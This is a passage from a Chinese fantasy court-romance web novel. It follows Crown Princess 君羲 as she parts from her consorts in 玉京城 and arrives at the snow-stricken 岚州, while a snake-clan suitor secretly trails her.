“你是说,蛇族和狐族一直在寻求同大凰合作?”
“是的,本官也不知他们嘴中的合作是真是假,一切等太女殿下三日后抵达岚州再做定夺。”
慕夜声听着王权不弃和王冰交谈,却认为,蛇族和狐族口中的合作极有可能是真的。
毕竟白渊只是闯进了他的营帐,并没有对他做什么。
若是想对他做什么,据王冰所说,白渊是一个骁勇善战之人,他就没有还手之力。
既然不打算伤害他,那便说明,他们是带着诚意的。
否则像抓王紫汐一样把自己抓走,就能更好地逼迫君羲妥协,但白渊没那么做,便说明蛇族和狐族并不是一条心。
所以,采用的也是同狐族截然不同的办法。
另一边,白渊却是对玉佩上的雪香念念不忘。
回到了族中领地,躺在阴暗的山洞中,准备冬眠。
白渊却辗转反侧,有些难以入眠。
他还是第一次出现这种情况,对那香味,魂牵梦萦,恨不得将那捧雪香拥在怀中,一向冰冷的血液似乎也跟着他燥热的思绪变得沸腾起来……
君羲,大凰太女。
他迷恋喊着君羲名字,回忆着之前鼻端的味道,渐渐地进入了梦乡。
梦中一片旖旎。
那一抹雪香似乎化成了一个身段婀娜、眼神妩媚却自带贵气的女子,在梦中与他共赴巫山云雨。
第二天一早,大约卯时。
玉石床上的男人嗓音低哑性感地闷哼一声。
“唔……”
白渊睁眼,眼里还残余着梦中不可自拔的情欲,他坐起身来,扯了扯衣襟,喉结滚动,低笑出声。
“哈哈……”
他还是第一次感受到情欲的滋味,可惜是在梦中,刚到了关键时刻,他便醒了,有种不上不下的难受感。
白渊昳丽的眼尾上扬,整张漂亮到不可思议的脸,宛如盛开在地狱,危险却诱人沉溺的曼珠沙华。
男人低声呢喃着女人的名字。
“君羲。”
白渊第一次对女人有了兴趣,起因仅仅是一抹淡到几不可闻的雪香。
他垂下眉眼,平息体内躁动的血液和气息,无论这次和君羲的合作能不能达成,他都会想方设法将人拐到洞穴中。
带回来,藏起来。
做只属于他一人的妻主。
君羲还不知道,她远在千里之外的蛇族未婚夫已经惦记上她的身子了,她此刻正在同顾景行对弈。
沉鱼冷着脸,在殿门外守着一个铜盆,旁边放着小山一样高的奏折。
铜盆里火舌肆虐,一本接一本奏折被丢进去,成了火苗壮大持续的燃料。
要不怎么说娶夫当娶贤呢?
君羲有了顾景行这个贤内助,很快便将御书房中堆积如山的奏折处理完毕。
而且,还在顾景行舒服的按摩手法中,感动神清气爽。
于是,刚处理好奏折,便迫不及待拉着顾景行对弈。
顾景行是天下第一才子,琴棋书画,无一不精,君羲想领略顾景行的棋艺,观棋如观人,她想从对弈中窥见顾景行更多的另一面。
“阿景,到你了。”
君羲的棋艺如她这个人一般,杀伐果断,锐意进取。
棋盘上,黑子宛如一把锋利的出鞘之剑,在棋盘上凶狠横行。
顾景行的棋艺则像向温柔包容的水,看似温柔却自带锋锐,以退为进,步步为营,心思缜密。
不愧是天下第一才子,不像某个浪得虚名的贱男人。
“阿羲,听说这次你从漾州带回来两个男子,一个是沈长卿,另一个是沈长卿的拥甭?”
君羲落在一子,笑意盈盈望向对面的男子。
“怎么,阿景好奇,关心我啊?”
君羲本以为以顾景行脸皮薄的性子会红着脸否认,谁知,顾景行居然凝望着她的眼睛,对她点了点头。
“嗯,我很关心阿羲。”
刹那间,君羲的心脏仿佛被击中了一般。
先是停滞了一瞬,然后缓过劲儿后,因对面的男子扑通扑通一下又一下,剧烈的跳动。
君羲觉得耳边的心跳声有些吵。
她抬手按住左胸,调笑道:
“阿景,你说这话太犯规了。”
“殿下,我明明是实话实说。”
君羲心道:就是实话实说,所以才犯犯规。
谁能顶得住……一个平日里不爱说话,尤其是不爱说情话的正夫突然对自己说着情话的杀伤力?
反正君羲是顶不住。
她现在都不想下棋了,将棋子往棋盘上一扔。
“阿景,孤现在可能需要你的帮助。”
顾景行疑惑。
“嗯,什么帮助?只要是我能帮得上忙的,阿羲尽管说。”
君羲坦坦荡荡,大大方方表述自己的爱意。
“孤刚刚心脏因为阿景跳得好快,可能需要阿景的一个吻,来平复孤躁动的内心。”
什么嘛……求亲亲啊!
顾景行在心里吐槽君羲,真是脸皮够厚的,青天白日,外面还有许多奴仆,顾景行可做不出“白日宣淫”之事。
看出顾景行脸上的拒绝,君羲绕过棋盘,站在男人的身侧。
她这个人有一个优点,就是想要的,会自己主动去争取。
君羲勾起男人的下巴,微微上抬,然后在男人略有些惊慌的眼神中缓缓低头,蜻蜓点水般的吻落在唇上,一触即分。
“谢谢阿景,孤现在的心跳声平息得差不多了。”
只不过,君羲的心跳声是平息下来了,顾景行的心跳声却是如同擂鼓一般,震得他耳膜有些发痛。
君羲笑得揉了揉男子的头,转移话题,试图分散注意力,免得某人因为心跳过快而晕厥过去。
那她可能会在今晚被拒之门外,只能可怜兮兮的,独守空房……
君羲才不要!
“阿景,孤这次从漾州回来,的确是带了两个男子,一个名为沈长卿,他是孤的仇人,下场绝不会好。”
君羲在心中默默补充,想到了今早探子来报,明月殿内一片狼藉,君明月被气得吐了一次床的血,昏了过去。
可不是嘛,同君明月绑在一起,自生自灭,互相折磨。
“这点你就不用管了,孤自有主意,至于另外一个嘛……孤想你,问错人了。”
顾景行听了这话,便没再追问。
他只是好奇君羲带两个男子回来的目的,好吧……
其实,顾景行有一点点承认,心里有一点点吃醋,怕君羲又带回来什么桃花。
目前,君羲在东宫中已经有了四位已婚夫郎,外面还有五个未过门的未婚夫,若是再来两个……
顾景行觉得心中真的有点酸酸的,有他们九个,还难道还不够吗?
他希望君羲不要在有新人。
君羲的确没有骗顾景行,另外一个男子便是苏亿安!
说起这苏亿安,就不得不提到之前君羲醉酒,被某条醋鱼背回院中之事。
君羲将凤染丢在原地后,没想到这孩子倒霉催遇上了暗杀,暗杀对象还是君羲。
相当于是替君羲受过,却没想到刺杀她的是一个手无缚鸡之力的男子。
这男子还是一个熟人,名叫苏忆安。
原本是玉京城中的清倌,他以前被沈长卿救过一命,所以一直同沈长卿保持着友好的联系。
沈长卿把苏亿安当做一枚棋子,这些年来,没少利用苏亿安在玉京城中收罗情报。
青楼楚馆,一向就是三教九流汇聚之地,信息流传很快。
好巧不巧,苏亿安和凤羽便是在玉树馆中相遇,凤羽还不知苏亿安安是沈长卿的人。
因苏亿安救了她,并且被苏亿安坚强的小白花性格打动,对苏亿安一往情深。
所以当凤染将苏亿安带回君羲在漾州的暂住地后,凤羽看到苏亿安的片刻,脸上的震惊自不必多说。
经过一番了解,才知苏亿安原本是来刺杀君羲的,凤羽当下心中天人交战,一方是她深爱的爱人,另一面是她此生效忠的主子。
好在,君羲也不是那么不近人情。
她想到上一世凤羽的凄凉下场,决定给苏亿安一个机会。
君羲转身离去,丢下一句。
“凤羽,孤相信你能处理好家事,孤便不追究了,苏亿安便交给你,下不为例。”
凤羽感激地连连道谢。
“是,殿下,谢殿下饶他一命,属一定会盯紧他,不会让苏亿安再次犯错。”
等君羲和凤染等人全部离开,院中只剩凤羽和苏亿安二人时,凤羽这才突然爆发,将苏亿安扛在肩上,就往房中走。
她一把将他扔在床上,俯身压在他身上,另一只手掐住他的脖子,怒声质问。
“安安,你怎么会出现在这里?还刺杀太女殿下。”
苏忆安惨笑一声,主动将脖子往凤羽手上送。
“来呀,你掐死我呀,我行得正坐得端。”
“君羲本就是一个昏君,伤害了我的救命恩人,我自然要替救命恩人讨回公道。”
沈长卿现在都怎么样了……变成了一个疯疯癫癫的疯子。
说着说着,苏亿安觉得自己委屈极了,眼泪顺着脸颊就往下流,放于心中。
“阿羽。”
凤羽内心又痛又爱又恨……情绪复杂到了极点。
他最终还是没舍得掐死苏亿安,在苏亿安快要窒息之时,松开手。
仔细看,收回的手还在颤抖,他落下一句。
“苏亿安,我不会杀你,但也不会放了你。”
苏亿安倒在床上,大口呼吸着。
“好在你没遇上太女殿下,否则……
“我一定会亲手杀了你。”
第149章 怕腰不保
苏亿安听到这话,难以置信的瞪大了眼睛,这个说会照顾他一辈子的女人,此刻居然因为一个暴君和他翻脸。
还说会为了君羲杀了自己,这让他如何不心碎?
“阿羽……阿羽,你说过会永远爱我的。”
“我是说过,但前提是,你别冒犯太女殿下。”
太女殿下于她而言是永远效忠的主子,君羲对凤羽更有知遇之恩,救命之恩。
凤羽此生永远效忠太女殿下,永不背叛。
“此次留下你的性命,已是违反了我心中的道义……”
无论凤羽怎么说,苏亿安都打定主意不理睬。
凤羽有些失望,在心中叹气。
罢了罢了,她同苏亿安这个蠢男人说这么多干什么?
凤羽心中实在是过意不去,所以她已经决定替苏亿安受刑。
凤羽军中有专门惩处重刑犯的刑具,她准备去挨上一百钉骨鞭……
钉骨鞭打在身上会挂走血肉,上面还自带盐水,会使得伤口极难愈合。
一百鞭下去,凤羽都要丢掉大半条命,这便是凤羽给太女殿下的交代。
这次回到玉京城,凤羽自然也带上了苏亿安,只不过苏亿安被她软禁了。
“阿景,事情大致就是这样,你放心,我在外面没有拈花惹草。”
顾景行听得眼神有些复杂,看向一旁朝他解释的女人。
她的属下果然也像她,搞起了强制爱这一套。
可怜的苏亿安,同是天涯沦落人啊。
“苏亿安和凤羽的事情便让她们自行去处理吧。”
苏亿安本意是刺杀君羲,但他是被沈长卿蒙骗,而且,凭借他那软绵绵的花架子招式也不可能成功。
顾景行说的也是君羲认可的,上一世,苏亿安身死后,凤羽虽然还活在世上,但心却跟着死了。
凤羽好歹是她的得力心腹,君羲也不愿看到她落得一个行尸走肉的下场。
“孤本来就是这个意思,孤才没空去搭理她们,孤跟阿景待在一块儿当地时间都还嫌不够呢。”
“贫嘴。”
“孤没有,阿景,你别走,等等孤。”
……
在玉京城中待了三天,先是论功行赏,后又处理了朝堂上的一些蛀虫,整个玉京城呈现欣欣向荣的状态。
君羲在顾景行房中宿了两晚,中间有一天被溟汐这条醋鱼抢走了一晚,随着君羲再次离开玉京城的时间越来越近,溟汐和顾景行越发的想黏在女人身边。
“羲羲,真的不能带我去岚州吗?你就带我去吧,我能帮你的。”
溟汐一心想跟着君羲去岚州,他习惯了和君羲处在同一空间的日子,让他一个人留在东宫,他会发疯的!
“羲羲,求求你了,我保证不给你添麻烦,好不好嘛~”
明明好大一条鱼,却偏偏喜欢窝在女人膝上,他为了诱惑女人答应,还特意变成了鲛人状态。
“给你摸尾巴,羲羲~”
君羲坚定内心,摸鱼尾巴的动作却是不停。
溟汐的鱼尾整体呈玄黑色,从某些角度看过去,边缘会呈现幽蓝色,触感如玉,带着些冰雪的凉。
君羲:尾巴是要摸的,事情是不可能答应的。
岚州天气极寒,溟汐去了那边很有可能陷入冬眠状态,边境线处,狐族、蛇族虎视眈眈,还有别的兽人种族也在观望、伺机而动。
君羲无法保证溟汐的安全。
她不想男人有任何的损失。
君羲享受的微眯着凤眼,感受着角色鲛人触感极好的鱼尾,等摸到心满意足后,才慢悠悠开口。
“阿汐,乖乖在玉京城等孤回来,孤会给你带礼物。”
溟汐气鼓鼓,将整张脸埋在女人的腹部,使劲地摩擦打滚。
“不要礼物。”
他只想和妻主在一起。
君羲一把按住某条撒泼打滚的鱼,手指在银色的长发间穿梭,带着安抚的意味。
“阿汐,这次去岚州,很危险,你的体质并不适合在极寒天气生活,乖乖的,别让孤担心,嗯?”
溟汐不想同君羲分开,一想到和君羲要分隔两地,他心里就难过,像有一大手攥住他的心脏一般。
男人小哭音可委屈。
“羲羲,那我发热期怎么办,你会不会很久都不回来……”
“我想见你,每天每时每刻每分每秒。”
唉,真是条粘人又爱哭的小鱼。
君羲将伏在她膝盖上的男人拉起来,伸手擦去他眼角的泪痕,轻柔地用吻覆盖过泪痕。
“别哭,孤心疼。”
溟汐反手抱住君羲,脑袋埋在女人的肩颈。
“羲羲,能不能别丢下我一个人?”
君羲声音柔到了极点,喊出了一个她认为自己绝对不会喊出的称呼。
“宝宝,乖,好吗?”
溟汐哽咽的声音一顿,君羲的这声“宝宝”成功硬控了他,身体一僵,有了反应。
“羲羲,那……”
溟汐眼神撞进女人的眼底,君羲明白溟汐想为什么,她伸出食指抵在男人唇边。
“可以。”
疯狂又激烈的一夜。
次日,骤雨初歇,变作和风细雨,让人舒服得浑身都放松下来。
溟汐可算被君羲哄好了,他轻揉着女人的细腰,嗓音暗哑,带着餍足。
“羲羲,别忘记我们的约定。”
君羲自然不会忘记,昨晚溟汐已经身体力行,让她将约定牢牢记在了脑海中。
若是她忘记,怕是腰不保……
约定很简单,君羲此去岚州时间不能超过一个月,若是一个月后,女人还不回玉京城。
那无论君羲说什么都不管用,溟汐会亲自前往岚州,带女人回家。
“孤记得,阿汐放心,孤可是八重武者,不会有事的。”
溟汐凑到女人耳后,用暧昧的声线问道:
“哦?羲羲这么厉害啊?八重武者肯定还有力气咯,那我们继续?”
君羲:……
真是演都不演了!
可恶,还她清纯易脸红、体力不好易推倒的小鱼!
君羲同顾景行、溟汐感情升温,相处愈发融洽自然时,同在皇宫内的明月殿,每日都处于水深火热中。
君明月简直要被逼疯了。
一个不知道哪里来的疯男人,每天像个痴汉一样跟着她,晚上还爬她床。
口口声声说爱她,君明月心中作呕,每天都在房中摔砸叫骂吐血……
循环往复,折磨着君明月愈发脆弱的神经。
明月殿中,奴仆们只负责监视君明月,根本不会打扫收拾殿内狼藉。
这就导致,随着君明月发疯砸东西的次数越来越多,到最后,已经是砸无可砸。
柳如风也开始给自己找退路了。
君澜行将就木,就剩一口气吊着,还在不停呢喃。
“选秀……选秀……朕要选秀。”
柳君明月所剩时间不多,死局已定,柳如风每天抱着胎果战战兢兢,生怕君羲想起还有他这号人,顺手宰了他。
他把自己关在寝殿内,一想到君澜和君明月的下场,他就怕得不行,精神紧绷到了极点。
“别杀我,别杀我,别杀我……”
“孩子,别怕,为父会保护你,别怕啊……”
这声别怕,不知是对孩子说,还是对自己说。
时间飞逝,很快就到了君羲决定出发去岚州的时间。
君羲这次选择微服出行,回朝的凤羽军镇守玉京城,她手中的另一只奇军——暗卫军暗中跟随。
随行的还有闭月羞花,以及暗卫军中的精锐,共计二十五人在明面上,乔装打扮成商队出行。
顾景行和溟汐站在最前列,身后是前来送行的文武百官以及百姓。
顾景行什么也没说,他走到君羲面前,细细给她整理微乱的发丝。
“妻主,侍身等你回家。”
高大的男人抱住了即将远行的妻主,用力地抱住,汲取女人身上的体温和气息。
然后,分开。
顾景行不善言辞,拥抱就代表着他心中所有的不舍和依恋。
溟汐强忍着没有掉眼泪,也上前,拥抱君羲。
“羲羲,别忘了我们的约定,你一定会平安归来。”
溟汐还是很担心,但君羲不同意他随行,他最终也只能目送君羲的“商队”渐行渐远,消失在视线范围。
顾景行和溟汐二人同款望妻石姿势,难得看上去气氛和谐。
文武百官和百姓们这次送行时的心情也跟第一次送君羲出征的心情截然不同。
之前,君羲在她们心里是暴君,她们面上不敢表现出喜悦,但心里是高兴的,暴君不在玉京城,她们就不必生活在高压环境中了。
但君羲用实际行动扭转了文武百官和百姓们对她的印象,她们现在真心希望君羲能够早日归来。
大凰需要君羲。
她们也爱戴君羲。
太女殿下,一定要平安归来。
她们期待着,君羲能带领走到末路的大凰王朝回到辉煌。
君羲肩负着万民的期许出发前往岚州,岚州距离乾州距离不算远,她估算,大约五日就能赶到。
在赶路的第二日,她写信让阿元带给王权不弃和慕夜声,说明她三日后会抵达岚州。
一路上,没有君明月和君凌搅局,加上暗卫军暗中清理祸患,一路上,除了赶路舟车劳顿以外,没有什么意外情况发生。
君羲靠近岚州时,明显感觉气温下降得益于,沿路也能看到受灾的灾民,他们眼中有名为希望的亮光。
“慕公子一定是神仙下凡!神仙推广开来的药救了我全家老小,我张悦永远感谢慕公子!”
“慕公子经常无偿替我们诊断,不如我们做点什么回报慕公子?”
“说得有道理!我同意!”
“……”
君羲听得最多的,就是岚州百姓们对慕夜声的赞美之词,当然,也有听到她们对慕夜声身边跟着一个冷冰冰护卫的吐槽。
无非就是慕夜声温润如玉,怎会有一个冰块脸做护卫之类的……
君羲掀开车帘,铺面而来的冷风和雪花吹散了一路上的疲惫和困倦。
“声声,不弃,你们俩可真是给了孤一个大大的惊喜。”
她与他们已经快有一个半月没有见面了,君羲已经迫不及待想见见百姓口中的谪仙神医——慕夜声和冷面护卫——王权不弃了。
最先得知君羲抵达岚州的不是大凰人,而是一个暗戳戳迷恋君羲体香的蛇兽人……
“未婚妻,终于见面了呢。”
第150章 尾随雪香
白渊不远不近跟着君羲的马车,尾随其后。
他嗅觉灵敏,能清晰地从混杂的气味中,分辨出独属于他心头好的那一抹清冷雪香。
岚州虽然比不上玉京城繁华,但未遭受雪灾之前,有街道,商铺林立。
如今却被大雪掩埋,房屋崩塌,只剩断壁残垣从雪堆里露出一角。
举目望去,全是星星点点的避难棚,以及三三两两的行人在雪地上行走。
白渊混迹在其中,其实有一些突兀。
毕竟,灾民们哪怕如今有了慕夜声的救治,重拾了对生的渴望,但条件艰苦,根本支撑不了他们穿布料好的衣服。
保暖对她们来说才是最重要的。
白渊身为蛇族少族长,蛇族喜欢糜丽冷艳的服装,他身上的服装自然是最好的绣用精巧技艺打造而成。
周围人多眼杂,但是架不住他,艺高人胆大。
在行人隐约察觉到异样之时,抬眼望去时,只能感受到一抹遗留的风,早就看不到白渊的踪迹了。
他就这样一直跟在君羲的马车后面,直到马车陷在一处雪地上,君羲从马车上下来。
白渊近乎贪婪的视线落在君羲身上,首先映入眼帘的是女人挺直如松柏的脊梁,就仿佛,任何困难都无法压弯她脊梁一般。
从这不弯的脊梁,就能看出女人的风骨。
更别提那惊鸿一瞥。
女人大氅兜帽下那张脸,堪称眉目如画又自带三分英气,几乎是一眼便让白渊梦中的那张脸有了具体的模样。
这副无双的长相和他喜爱的清冷雪香很适配呢。
在见到君羲之前,白渊曾经担心过,见到君羲后会失望。
毕竟,他只喜欢美丽的事物。
若是令他着迷的清冷雪香出自一个相貌平平的女子身上,他可能会感到自我厌弃。
如今见到君羲之后,他心中的顾虑这才打消。
若他的未婚妻长成这副让人惊艳的模样,身上还带着让他着迷的清冷雪香,那他可以考虑使手段将女人带回族中,成为他一个人的妻主了。
白渊垂下眼帘,畅想将君羲带回族中过后的美好时光……
每日,他都可以嗅到雪香,甚至可以在清冷雪香中安然入睡,第二日又在清冷雪香包围中缓缓醒来。
白渊由于常年喜欢冬眠,几乎很少和人正常交流过。
他能力很强,但是,却缺乏一些正常的为人处世的常识。
他不知,追求一个女人应当做什么事情,只是按照他内心最真实的想法去做。
蛇族长辈得知白渊想法,一定会告诫他,这样做是会失去妻主的!
但此刻白渊可不知道,他一心只想将白渊带回他的地盘,圈占。
墨色的大氅在雪地上拖行,溅起的雪粒粘在黑色的长毛上,显得有几分飒沓潇洒。
君羲目的地正是这片雪原上最大的营帐。
营帐整体用料扎实,透过隐藏边缘,似乎能看到里面堆叠的皮毛。
君羲暗自打量着眼前这座营帐,倒是很适合慕夜声。
慕夜声身子骨弱,需要这种保暖性良好的营帐睡觉,否则很容易生病。
生病过后,别提救治他人了,能自己把自己的病治好,就算不错了。
看到营帐后,君羲心里的担心终于放下了一些。
她又看到营帐前排着长长的队伍,等靠近后,才听到里面隐约传来几声咳嗽,这咳嗽声听上去有些耳熟……
君羲心中有了不祥的预感,慕夜声不会是太过操劳,所以,感染风寒了吧?
感染了风寒还在这里治病救人,可真是胡来!
君羲心中有气,气慕夜声不爱惜身体的行为。
她身上的威势更甚,冷着一张脸,越过长长的队伍。
在排队的人群,难以置信和谴责的眼神中,直接走到了长队的最前端。
她们还来不及发表意见……
便见到有营帐前的守卫,以及钦差大人王冰,哗啦啦跪倒了一片。
“臣等不知太女殿下到来,有失远迎。”
“太女殿下千岁,千岁,千千岁!”
排队的灾民这才知晓,原来那个下马车的女人,竟然是当朝大凰太女——君羲。
落雁到了岚州之后,做了许多事情。
其中之一,就是将殿下大败倭寇,将倭寇国纳为大凰版图的英勇事迹,散布在岚州、钦州、蔼州。
而且还将君羲即将亲自到岚州赈灾的消息传扬开来,故而,岚州的百姓对君羲很有好感。
得知来的人是太女殿下,刚刚对君羲插队的一丝不满也消散了。
原来是太女殿下不是插队,是因为想念慕侧夫和王权侧夫,这才迫不及待想越过他们,进入营帐,可以理解。
他们也跟着营帐外的守卫以及王冰下跪,虽然没有玉京城城门前的气势恢宏,但也足够振奋人心。
他们跪下在雪地里,叩拜君羲。
“太女殿下,千岁,千岁,千千岁!”
君羲就算生气,也不会当着岚州灾民的面发。
她嘴角扯出一抹浅笑,比君羲之前皮笑肉不笑的笑已经好了许多。
这都得益于顾景行、溟汐的日夜教导,这才让她在想对他人露出和善笑容时,能够更加的自然。
“大家不必多礼,平身。”
诸多百姓站起身来,虽然不敢用正眼去打量传闻中威名赫赫的太女殿下,但余光却是止不住好奇地往君羲的身上飘。
他们心中不由得到,真不愧是太女殿下!
英姿飒爽,气度不凡,一看便是人中龙凤。
此刻慕夜声和王权不弃,也听到了营帐外的动静。
慕夜声诊断的手微颤,他心中既高兴君羲的到来,又有些后怕。
他和王权不弃是从玉京城,东宫逃出,私自前往岚州赈灾的。
慕夜声不知道,君羲在见到他之后,会不会同他生气?
而且,慕夜声真的很不擅长哄人,若是君羲真的生气了,他不知道……该用什么样的办法将女人哄好。
“慕兄,阿羲来了。”
慕夜声点头。
“嗯,我听到了。”
那么大的声音,听不到才奇怪吧?
王权不弃想到之前在东宫时,同女人的相处,以及人生中从未尝试过的酣畅淋漓的情欲……
之前,落雁还特意带来一束开得正好的桃花,说是君羲特意让她采集后,转交给他的。
“答应不弃的花,就要按时送到。”
这让王权不弃心中颇为触动,没想到,他以为的花言巧语,实际上是女人的真心承诺。
他对慕夜声说了一句。
“慕兄,那我就先去见阿羲了,你稍后来。”
慕夜声朝他点了点头,便见王权不弃已经大步朝营帐外走去。
慕夜声听到君羲换王权不弃的名字,随着营帐的关闭,落在他的耳中的声音不甚清晰。
“不弃,你好大的胆子,居然敢趁孤不在,偷摸带着声声出逃。”
若是以往暴戾无道的君羲,王权不弃会不屑同她说话。
但,王权不弃知道,君羲不是以前的君羲了,据他了解,君羲说出这话时的语气,并不是责怪,反而像是一种担心。
他上前将女人往营帐中带。
“阿羲,这里不是说话的地方,随我先进营帐吧,慕夜也在里面。”
王权不弃上前一步,同君羲并肩前行。
“你放心,我有按照你的嘱咐好好的照顾他。”
君羲也觉得,营帐外并不是一个说话的好地方,她示意闭月羞花守住营帐大门。
王冰识趣止步于营帐之外。
废话,太女殿下一看便是同慕侧夫,王权侧夫有话要说,他此时进去,不就是自讨没趣吗?
他这个人非常识时务。
太女殿下和慕侧夫、王权侧夫自然要先联络联络感情。
若是太女殿下有事叫他,自然会喊他,他不必担忧,只需守在营帐外即可。
君羲进入营帐后,便见到慕夜声此刻收回诊断的手,故作镇定地拿起毛笔在宣纸上写下药方。
那诊断的灾民也有些战战兢兢,心中惶恐,不知该不该起身朝君羲行礼。
他想了想,还是应该行个礼。
他刚站起身来,便听到君羲阻止他不必多礼。
“你既然看诊完了,便按照声声开的药方去抓药吧。”
“孤希望孤的子民都能够身体康健,长命百岁,你一定能早日好起来,日后,若还有什么问题,尽管前来找孤或者声声,能做的,孤和声声都会去做。”
那灾民没想到君羲居然如此好说话,这还是传闻中残酷暴戾的太女殿下吗?
是了……
之前还有更新的流言传开,看来是真的!
太女殿下真的痛改前非,如今是一个很好很好的太女殿下了。
她还很有能力,如今平定南方倭寇后,直接来了北方,这是不是说明她们岚州雪灾,也将迎来完美的解决?
她拿着药方,朝着君羲,慕夜声的方向深深鞠了个躬,这才走出营帐。
那灾民走了之后,营帐中便只剩君羲,王权不弃,慕夜声三人。
君羲走向慕夜声,男子手中的毛笔微微一颤,一滴墨落在还未书写的宣纸上,晕染开来。
他有些心虚,当初,就是他撺掇王权不弃带他出宫,并且前往岚州……
太女殿下消息来源广泛,眼线几乎遍布整个大凰,想必,早就知道他因为想见寒松心切,落入君明月陷阱,险些被雪崩掩埋的事情了吧?
若不是寒松的妻主阿晓拼命相救,以及王权不弃及时救助,他恐怕早就成了被大雪掩埋的一抹幽魂了。
他在君羲出征之前,答应过女人,会留在东宫好好养病。
现在,却在女人即将班师回朝之际,偷摸来了岚州,很难不心虚。
但,该面对的还是得面对。
“侍身见过妻主。”
他微微行了一礼。
君羲将人扶起来,声音难辨喜怒。
“声声,孤不是让你留在东宫好好养伤吗?你便是这么养伤的?”
……
第151章 床暖好了
女人的声音中不难听出对男子的心疼,慕夜声心中诧异,他和王权不弃偷溜出宫的事情,就这样被轻拿轻放了?
殊不知,君羲来之前,确实有些生气,生气慕夜声不顾重病初愈的身体,怂恿王权不弃赶赴岚州。
但真正见到了人的那一刻,看慕夜声拖着感染风寒的身体,尽心尽力地救治灾民……
君羲突然就不忍心责怪男人了。
每个人都有自己想要做的事情,上一世,慕夜声理想就是悬壶济世,做一个能够立书著传的大医!
君羲会支持慕夜声的想法,但,男人要将自己的安危放在心上。
好在,慕夜声也没有特别不把自己的安危放在心上,这次出行,还知道带上九个夫郎中,武力值最高的王权不弃保驾护航。
如若不是王权不弃,想必,慕夜声根本就无法安全抵达岚州。
怕是半路就会被君明月派来的人劫杀,君羲有些气,但又拿生病的男人没有办法。
她伸手在男人的额头上用力弹了一下。
“还将自己弄生病了?声声,你可真是够胡来的。”
这话中,虽然有气愤的成分存在,但更多的是对他的关心。
慕夜声并不是情商很低之人,自然也听出了君羲的言外之意,他没有管被弹得有些疼的额头,一把将女人抱在怀中。
“阿羲,我知错了,别生气好不好?”
君羲没好气,推了推男子带着淡淡药香的胸膛。
“你说呢?”
慕夜声除了治病救人的时候话会多一些之外,其余时候都不善言辞,更缺少和女子相处的经验。
他有些不知道该如何去回应君羲的这个问题,求助的目光放在王权不弃身上。
王权不弃接收到慕夜声求救的目光后,心中多少是有点无语……
但他习惯了冷着一张脸,面上根本看不出来。
若是王权不弃没记错,他对外的形象一直是寡言少语吧,慕夜声怎么会离谱地想到求助他呢?
但是,慕夜声眼神中的求救意味愈发深重,王权不弃有些难以拒绝,毕竟,他们这段时间的革命友谊还算深厚,不能放任慕夜声一人独自尴尬。
王权不弃也不知该说些什么,生硬转移话题。
“阿羲,花很喜欢。”
慕夜声和王权不弃之间的眉眼官司君羲看得清清楚楚、明明白白。
她那句话本就没指望慕夜声回应,只不过是表达君羲的嗔怪而已。
君羲自然而然接过话题。
“不弃喜欢的话,等玉京城外桃花盛放之时,孤带你去桃花林赏花。”
君羲将每一个夫郎的喜好记在心中,王权不弃喜欢花这一点,当初戳中了她的萌点,她更是记得特别清楚。
话题被转移之后,君羲也不欲为难慕夜声和王权不弃出逃玉京城之事。
便问起了他们的近况,慕夜声提到这个就很能说了,不至于像之前回答女人有些暧昧问话时的哑口无言。
慕夜声将这段时间来的所作所为、所经所历,全都一一复述给君羲听。
君羲也算从慕夜声口中了解了他和王权不弃抵达岚州之后,都经历了一些什么事情。
“那殿下呢?殿下在漾州如何?”
“听说殿下大胜倭寇,如今倭寇国已是我国版图,可是真的?”
能在夫郎面前长脸,君羲自然不会拒绝,她绘声绘色将自己在漾州时的英勇事迹美化一些,删减一些,说给慕夜声和王权不弃听。
君羲感受到慕夜声有些崇拜的眼光,险些没忍住挺起胸膛。
语言是了解一个人最好的途径。
经过一番交流,君羲和慕夜声、王权不弃都对对方不在自己身边时的经历有所了解。
慕夜声曾经听过一句话,若想知道一个人爱不爱你,就看他她对你有没有分享欲。
君羲对他分享欲极其旺盛,慕夜声心想,女人大约是有一点喜欢他的……
说实话,慕夜声长了那一副谪仙模样,很难让人不喜欢吧?
越是谪仙高冷,越是想让人攀折蹂躏。
若不是他容貌惹眼,当初也不会被君羲看中,强抢入宫。
……
等三人说完话,已经是月上柳梢头。
昏黄的烛火在营帐中摇曳,将三人交谈的影子映照在营帐上。
白渊在营帐外,等得花都快谢了。
他不知道,为什么有人类可以一直说话,说到这么晚,到底在交谈些什么?
但白渊最不缺的就是耐心!
既然找到了自己喜欢并为之疯狂的味道,那他便会想方设法得到。
哪怕这种方法在寻常人眼中有些变态,难以理解,白渊也全不在乎。
紧接着,白渊在营帐外看到君羲召见王冰以及一众下级官员。
也不知是营帐比较厚重,还是君羲特意用内力隔绝交谈声音的原因,白渊在营帐外,趴在雪地里,并没有听到任何的交谈内容。
君羲同王冰商谈岚州的赈灾事宜,她需要了解如今岚州赈灾进行到了什么进度。
君羲这次来岚州,还带来了在漾州缴纳的贪官污吏的家财以及战利品。
若是岚州钱财告急,她可以调拨过来,赈灾使用。
前提是……
王冰等人要拿出一个合理的方案,同时,君羲也从王冰的汇报中,得知王紫汐被抓,狐族烈王那户部尚书做交易筹码的事情。
君羲眉梢微扬,用王紫汐换见她一面吗?寻求合作?
有点意思。
若君羲没记错,涂山烈是九个夫郎中,唯一出身男尊族群的男子。
迎娶涂山烈过门时,涂山烈正处于人生失意之时,狐王驾崩,他被最信任的属下联手背叛,受了重伤。
等他伤好一些,赶回狐族时,却发现狐族王位早就花落别家。
尘埃落定,靖王已经名正言顺登基,一切都太晚了。
那时涂山烈已经不是狐族高高在上的战神,只是一个夺嫡失败的落魄王子。
引以为傲的武功几乎被废,很快他便被登基的新王及其亲信发现。
将涂山烈打包了一下,便送他来大凰和亲,君羲还记得上一世同涂山烈的新婚夜。
涂山烈身上散发真的浓浓的自我毁灭气息。
但他在见到自己的瞬间,眼神中却迸发出了前所未有的光亮,就像溺水之人抓住了最后一根救命稻草一样。
君羲当时便知道,涂山烈嫁入东宫,极有可能是另有所图。
后面,涂山泪果然没有让他失望。
他利用自己对他的宠爱,想吹成枕头风,让自己出兵替他讨伐狐族。
君羲也的确没有见过涂山烈这种类型的男人,有宠过他一段时间。
当时还真色迷心窍!出兵替图涂山烈讨伐狐族。
只是,因为十万雪山地形缘故不易辨识,君羲也不是真心想替涂山烈讨回狐王之位,所以这事,最后不了了之。
君羲:废话!
若是她答应将狐族王位拱手送在涂山烈,涂山烈做了狐王,那她后宫中不就少了一位绝色男夫?
